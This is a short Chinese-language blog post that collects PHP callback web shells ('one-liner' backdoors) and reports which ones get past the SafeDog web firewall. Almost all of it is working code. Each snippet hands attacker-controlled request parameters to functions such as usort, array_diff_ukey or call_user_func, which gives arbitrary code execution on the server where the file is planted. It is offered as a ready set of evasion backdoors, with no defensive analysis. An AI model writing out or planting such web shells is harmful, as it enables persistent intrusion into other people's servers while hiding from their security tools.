前几天看到P神的一篇关于php回调后门的博客,受益颇多。但那已经是15年的博客了,有些方法已经被狗识别了,就写篇博客整理收集一下过狗一句话。P神原文
序
- 安全狗的版本
- php版本
正文
先是尝试了一下p神博客里提到的一部分,能过的不多
<?php
$e = $_REQUEST['e'];
$arr = array('1'=>'1',$_REQUEST['pass']);
// uasort($arr, $e);
usort($arr, $e);
?>
效果
usort和uasort都能过,但是uksort挂掉了,,然后查php手册找到一些
<?php
$e = $_REQUEST['e'];
$array1 = array( $_REQUEST['pass']=>'1');
$array2 = array(1);
array_diff_uassoc($array1, $array2, $e);
?>
array_diff_uassoc() pass放到键名上 效果
当然,还能这样
<?php
$e = $_REQUEST['e'];
$array1 = array( $_REQUEST['pass']=>'1');
$array2 = array(1);
array_diff_ukey($array1, $array2, $e);
?>
这样
<?php
$e = $_REQUEST['e'];
$array1 = array( $_REQUEST['pass']=>'1');
$array2 = array(1);
array_intersect_uassoc($array1, $array2, $e);
?>
这样
<?php
$e = $_REQUEST['e'];
$array1 = array( $_REQUEST['pass']=>'1');
$array2 = array(1);
array_intersect_ukey($array1, $array2, $e);
?>
以及这样
<?php
$e = $_REQUEST['e'];
$array1 = array($_REQUEST['pass']);
$array2 = array(1);
array_udiff_assoc($array1, $array2, $e);
?>
这样
<?php
$e = $_REQUEST['e'];
$array1 = array($_REQUEST['pass']);
$array2 = array(1);
array_uintersect_assoc($array1, $array2, $e);
?>
….
回调后门这个实在是太多了,,再来俩
<?php
$e = $_REQUEST['e'];
$pass = $_REQUEST['pass'];
call_user_func($e,$pass);
?>
<?php
$e = $_REQUEST['e'];
$pass = array($_REQUEST['pass']);
call_user_func_array($e,$pass);
?>
结束~~~